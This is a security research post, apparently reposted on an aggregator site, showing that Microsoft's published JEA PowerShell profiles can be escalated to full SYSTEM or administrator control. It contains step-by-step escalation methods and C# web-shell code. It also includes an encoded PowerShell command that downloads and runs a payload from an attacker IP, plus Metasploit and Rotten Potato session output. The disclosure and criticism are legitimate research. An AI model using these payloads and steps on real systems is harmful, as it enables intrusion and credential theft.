tl;dr

Just Enough Administration (JEA) is a new windows 10/Server 2016 feature to create granular least privilege policies by granting specific administrative privileges to users, defined by PowerShell commandlets and scripts. Microsoft claims JEA is a security boundary so effective you do not need to worry about an attacker misusing the credentials of a JEA user, even if they were stolen.

But every JEA profile I found Microsoft has published has vulnerabilities that can be exploited to obtain complete system administrative rights, most of them immediately, reliably, and without requiring any special configuration. System administrators who create their own custom profiles are almost certainly not going to do any better.

Microsoft should immediately retract almost everything their JEA articles and documentation say about security and say the inverse instead. Instead of declaring that JEA is a security barrier, saying users with JEA rights should not be considered administrators, and saying their credentials do not need to be protected like real administrators with a buried note that this may not be the case if you screw up; Microsoft should say JEA should not be treated like a security barrier, users with JEA rights and their credentials should be tightly controlled exactly like normal administrators, with a buried note that in rare situations will this not be the case. Additionally, the README files and comments of their example profiles should start with stern reminders of this.

JEA Introduction

Just Enough Administration (JEA) is a new Windows 10/Server 2016 feature to create granular least privilege policies by granting specific administrative privileges to users, defined by PowerShell commandlets and scripts. In the keynote at DerbyCon this year, Jeffery Snover , known for creating PowerShell, advertised JEA as an example of a positive advance in locking down systems and foresaw a large role for it in the future of systems administration. So I decided to check it out; Microsoft claims JEA is a security boundary so effective you do not need to worry about an attacker misusing the credentials of a JEA user, even if they were stolen:


Just Too Much Administration   Breaking JEA, PowerShell’s New Security Barrier

Emphasis mine. Cheesy smiley face too.

When I heard of JEA, my first reaction was to compare it to linux's capabilities feature. Similar to JEA, capabilities on Linux provide a way for a program to be granted specific abilities that would otherwise require root access. In contrast with JEA, each capability is defined by the Linux kernel developers, following a lengthy discussion and many signoffs from the core kernel team.

Unfortunately, despite all the expertise and review, most capabilities failed as security barriers. In a post titled False Boundaries and Arbitrary Code Execution , Brad Spengler of grsecurity was able to assemble a list of techniques to escalate privileges to fully unfettered root access from 19 of the first 30 capabilities that were implemented. It's really hard to poke a hole in such an established security barrier and not inadvertently let all the cats out of the bag. Normally if an action requires elevated privileges, there's a good reason; the action might directly compromise the system's confidentiality, integrity, or availability and you can often get to any capability from another.

The same kinds of flaws are prevalent and likely to re-occur in JEA as well. For example, let's look at the first JEA rules you can find on the JEA website. If you look at the above screenshot of the JEA homepage , you can see the featured link "it’s now even easier to create and configure endpoints, by using the JEA Toolkit Helper." Click that link and you will see the following JEA Helper screenshot:


Just Too Much Administration   Breaking JEA, PowerShell’s New Security Barrier

JEA Helper With Example Rules

The same page reassures us, "The tool also implements several best practices from the experience guide, as detailed in the last part of this blog post."

JEA Helper Profile Attack

The first allowed cmdlet, "Get-Event" I believe is a typo; it does not return event log entries as you might expect; instead it returns PowerShell events from the current PowerShell session, which is a very rarely used feature that I don't think can be employed in the restricted JEA shell. "Get-EventLog" and "Get-WinEvent" on the other hand, are very commonly used to troubleshoot application and OS errors, performance issues, configuration mistakes, etc. But more on those later.

The second allowed cmdlet, "Add-Computer" is a commonly used command when administering a Windows network. It is used to add a computer to a domain or switch its domain. It is also a reliable vector to break the JEA security barrier, and escalate privileges to complete unrestricted system control. This can be performed in a simple series of steps:

First, set up a target computer as documented; an updated non-domain-joined Windows 10 system. Ensure PSRemoting is enabled ( Enable-PSRemoting -Force -SkipNetworkProfileCheck ) then run the JEA helper tool from Microsoft, and create a PS session configuration with the same role capabilities as the JEA Toolkit Helper example shows, and enable it for an otherwise non-admin user. The best and simplest cut & pastable resource for getting JEA enabled and a starting configuration going was put together by Paula Januszkiewicz and is available at cqureacademy.com ; you can use those commands to create the PowerShell Role Capabilities File and Session Configuration File, and to register the session configuration file. Test powershell remoting to this system from another Windows 10 system by running Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force on the source system then connecting to the target with Enter-PSSession -ComputerName 1.2.3.4 -Credential (Get-Credential) -ConfigurationName JEADemo2 where 1.2.3.4 is the IP of the target, and providing your JEA user credentials for the target. Register a domain name; a free dynamic DNS one should do fine, as long as you can set the NS server or don't mind typing in a lot of entries. It can be a subdomain of another one, like addthis.scriptjunkie.us. Create a Windows Server virtual machine on the same network as the target system you have JEA access to, install the Active Directory role, and make it the root domain controller of a new forest with your new domain name. A free Samba-based Linux DC should work just fine too. Find a way to forward DNS queries for your new domain name to your new DC; or manually make a copy of the DNS records (e.g. with Get-DnsServerResourceRecord) and add them to an external resolver. Use your JEA user to remote into the target system, and run "Add-Computer -DomainName addthis.scriptjunkie.us" Powershell will prompt you to enter a username and password; enter the credentials of a user on the new domain
Just Too Much Administration   Breaking JEA, PowerShell’s New Security Barrier

Add-Computer from JEA

Your computer will be added to the domain. Next time it reboots, it will pull group policy settings from your new server, enabling you via a group policy configuration to change any setting, drop the firewall, execute any command as system via startup scripts or scheduled tasks, or directly log in as the domain admin. You have broken the "security barrier" and have full unrestricted administrative control over the system. Once a hacker with the compromised JEA account has unrestricted admin, the hacker can directly delete or remove incriminating information from the JEA log transcripts. JEA General Profile Attacks

The previous rules aren't the only rules Microsoft has published. Microsoft has a repository of more comprehensive JEA profiles, available if you can find them anyway. At the bottom of the JEA homepage , in the "For more information" section, Microsoft has a link to "JEA documentation on GitHub" which goes to http://aka.ms/jeadocs . This link currently redirects to https://msdn.microsoft.com/powershell/jea/readme which is most assuredly not the Microsoft JEA github repository and doesn't seem to link to there either.

But if you go to github.com and manually search that site for JEA, you'll find the secret repository at https://github.com/PowerShell/JEA . This repository has 4 sample role capabilities; a "level 1" and "level 2" for general server administration and IIS specific level 1 and 2. I used the PowerShell commands

import-module servermanager Install-WindowsFeature Web-Server Install-WindowsFeature Web-ASP Install-WindowsFeature Web-Asp-Net45 to install IIS and ASP.NET: General Level 2 allows the execution of cmdlets like New-Service which allows the user to immediately and reliably launch any command with full SYSTEM rights; a privilege escalation past the security barrier to complete system control. General Level 1 allows the cmdlets Get-WinEvent and Get-EventLog . These cmdlets allow the user to read all the event logs on the system. This is an important task for anyone tasked with troubleshooting a server, but it's also a critical vulnerability. If an organization is particularly security conscious, which they'd have to be to be running JEA, they should have command line process auditing enabled and/or sysmon installed. These will log the complete command lines of every process that is executed on the system; which is very important for forensic and intrusion detection purposes as well as basic troubleshooting. Finally, if there's one thing I know about admins, it's that, for a common task, given the choice between clicking around 10 menus and typing something in twice, and doing the same task with a single command line command, they will always pick the simplest option. This is doubly so in any organization that uses PowerShell so much that they would deploy JEA (thus forcing staff to use it). Because of that, when creating a new account or changing the password of an existing account, admins will probably run net user someuser Password123 rather than use the GUI. Likewise, they may run net use \\computername\share Password123 /user:bob to map shares or psexec \\computer -u bob -p Password123 to get a remote shell if PowerShell remoting isn't working. These command lines and passwords will be logged in the event logs. Although that level of detail won't be shown within the JEA shell, you can extract it by serializing the result of your output by running Get-WinEvent via Invoke-Command and extracting it out on your system:
Just Too Much Administration   Breaking JEA, PowerShell’s New Security Barrier

Extracting passwords from the event log

We've now obtained passwords to fully privileged admin accounts and have once again escalated past the security barrier to complete system control. IIS Level 2 and IIS Level 1 differ in that level 2 includes commands like New-WebSite that level 1 does not have. But that does not matter; both allow *-IISSite which includes New-IISSite which is all we need to completely compromise the system.
To do so, first install Visual Studio on any system (be sure to include the web development tools and C#), then create a new C# Web API project. I used the default and made a small change; I went to the ValuesController, removed the [Authorize]

line and changed the Get method to the method below, then published the project into a custom profile that just generates a zip:

// GET api/command/ipconfig
[Route("api/command/{cmd}")]
public string GetCmd(string cmd)
{
Process p = new Process();
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.FileName = "C:\\Windows\\System32\\cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.Start();
return p.StandardOutput.ReadToEnd();
}

Next share a folder on any system that the IIS server can reach (or re-use an existing share) and extract your web project zip folder into it as a directory.

Use your restricted credentials to log into the JEA session and run New-IISSite -Name something -BindingInformation "*:8080:" -PhysicalPath \\thefileserverwiththe\share\yourapp I used port 8080, but you can pick any unused port you can reach; if you can't reach any unused port, then pick a custom path in an already-served port.

Now open a web browser and go to http://thetargetserver:8080/api/command/ipconfig - it should return the output of running the command "ipconfig". You now have demonstrated arbitrary code execution on the IIS server. But if you run whoami you will see that you have only gained code execution under the IIS APPPOOL\DefaultAppPool account.

Microsoft's documentation on application pool identities emphasizes that these limited accounts are a security barrier to prevent an application compromise from becoming a complete system compromise. However, in a sadly recurring pattern, the application pool accounts have been granted privileges otherwise reserved for administrators or the SYSTEM account which completely negate their security limitations, and those limitations can be reliably, immediately bypassed. There are many ways from this point to escalate to full SYSTEM access.

For example, as the previously linked page declares, "application pool identities also use the machine account to access network resources" which means, as far as any other system on your network knows, your web application is running from the locally all-powerful SYSTEM account. So anything that that account can access, you can too. This means that if this is a very security conscious organization, which is probably is, and has the Local Administrator Password Solution or an equivalent deployed, or if your administrators are lazy and not-security-smart and have a local administrator password set in Group Policy Preferences , your code can directly read out the local administrator password and immediately escalate to unrestricted admin rights.

Another uncommon privilege that the IIS Application Pool account has is the ability to impersonate tokens. This is a very commonly used privilege for web applications, as they often need to authenticate domain users and take actions under their account. We can use this privilege and standard Windows authentication protocols to execute the Rotten Potato attack assembled by James Forshaw, Stephen Breen, and Chris Mallz. This attack effectively triggers a network authentication by the SYSTEM account to an endpoint we have created, then man-in-the-middles the NTLM authentication to obtain a SYSTEM token, then impersonates the token to obtain full SYSTEM rights.

The method I used was to first start metasploit on another system, start the multi/script/web_delivery module with a windows/meterpreter/reverse_tcp payload, then encode a shortened version of the PowerShell launch command into a PowerShell encoded command, then kick off the stager on the webserver by visiting the URL launching the encoded command: http://192.168.56.101:8080/api/command/powershell%20-ec%20JAB0AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBJAEUAWAAgACQAdAAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANQA2AC4AMQAwADQAOgA4ADAAOAAwAC8AMABuAFYAegA2AHQAIgApADsA . This gives me a meterpreter shell on the IIS server in a powershell process. I then uploaded and kicked off rottenpotato.exe, then migrated into the rottenpotato process, and used incognito to impersonate the SYSTEM token rottenpotato obtained:

>>&gtexecute -H -f rottenpotato.exe
Process 1904 created.
>>&gtmigrate 1904
[*] Migrating from 3496 to 1904...
[*] Migration completed successfully.
>>&gtps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System
240 4 smss.exe
320 312 csrss.exe
336 3216 MpCmdRun.exe
380 492 svchost.exe
384 376 csrss.exe
400 312 wininit.exe
432 376 winlogon.exe
492 400 services.exe
500 400 lsass.exe
644 492 svchost.exe
684 492 svchost.exe
...
>>&gtgetuid
Server username: IIS APPPOOL\DefaultAppPool
>>&gtuse incognito
Loading extension incognito...
success.
>>&gtlist_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
IIS APPPOOL\DefaultAppPool
Impersonation Tokens Available
========================================
NT AUTHORITY\IUSR
NT AUTHORITY\SYSTEM
>>&gtimpersonate_token 'NT AUTHORITY\SYSTEM'
[-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM
[-] No delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
>>&gtps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
240 4 smss.exe x64 0
320 312 csrss.exe x64 0
336 3216 MpCmdRun.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Program Files\Windows Defender\MpCmdRun.exe
380 492 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
384 376 csrss.exe x64 1
400 312 wininit.exe x64 0
432 376 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\System32\winlogon.exe
492 400 services.exe x64 0
500 400 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
644 492 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
684 492 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
796 492 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
844 492 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe
928 492 svchost.exe x64 0 NT AUTHORITY\NETWORK SERVICE C:\Windows\System32\svchost.exe
940 492 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
...

Once again, the JEA restrictions have been reliably broken and we have complete SYSTEM control.

Neither the repository README nor any of the JEA profile scripts mention anywhere that the profiles completely blow a hole in the JEA security barrier.

Poking holes in a major security boundary without completely obviating it is an exceptionally difficult task that is highly likely to fail in difficult-to-see ways. Even the experts who develop these operating systems usually fail, even under the strictest scrutiny of code reviews.

Every JEA profile I found Microsoft has published can be bypassed to obtain complete system administrative rights, most of them immediately, reliably, and without requiring any special configuration. System administrators who create their own custom profiles are almost certainly not going to do any better.

Recommendations

Microsoft should immediately retract almost everything their JEA articles and documentation say about security and say the inverse instead. Instead of declaring that JEA is a security barrier, saying users with JEA rights should not be considered administrators, and saying their credentials do not need to be protected like real administrators with a buried note that this may not be the case if you screw up; Microsoft should say JEA should not be treated like a security barrier, users with JEA rights and their credentials should be tightly controlled exactly like normal administrators, with a buried note that in rare situations will this not be the case and JEA will function as a security barrier. Additionally, the README files and comments of their example profiles should start with stern reminders of this.

Microsoft should say that JEA profiles are primarily protection from accidental changes and a reminder to junior admins to consult senior staff before taking certain actions. Any account that can use JEA should be considered privileged, not unprivileged. Protect and monitor those, use the same MFA requirements, etc. as fully privileged admin accounts. Finally, JEA grants are backdoors in the most literal sense; monitor them continuously for changes, and audit frequently, just like privileged user groups and autoruns.

Post script - on disclosure

I did not pre-coordinate this release with Microsoft. For normal vulnerabilities, privately coordinating with the vendor can allow them to create and release a patch before any attackers are aware of the vulnerability. In this case, the vulnerability is not so much with the underlying technology, whose details seem to be working as advertised. The vulnerabilities instead lie primarily with the documentation and general marketing of the feature. I was not even confident I should call these "vulnerabilities" although in the end I decided to do since they seem to meet the definition of a hole in a documented security feature.

The correct response for a documentation vulnerability is to correct the misinterpretation; there is no binary patch Microsoft can put out to fix your configurations. As a result, I saw no benefit in delaying this post.

本文系统(windows)相关术语:三级网络技术 计算机三级网络技术 网络技术基础 计算机网络技术

分页:12
转载请注明
本文标题:Just Too Much Administration Breaking JEA, PowerShell’s New Security Barrier
本站链接:http://www.codesec.net/view/480412.html
分享请点击:


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 系统(windows) | 评论(0) | 阅读(47)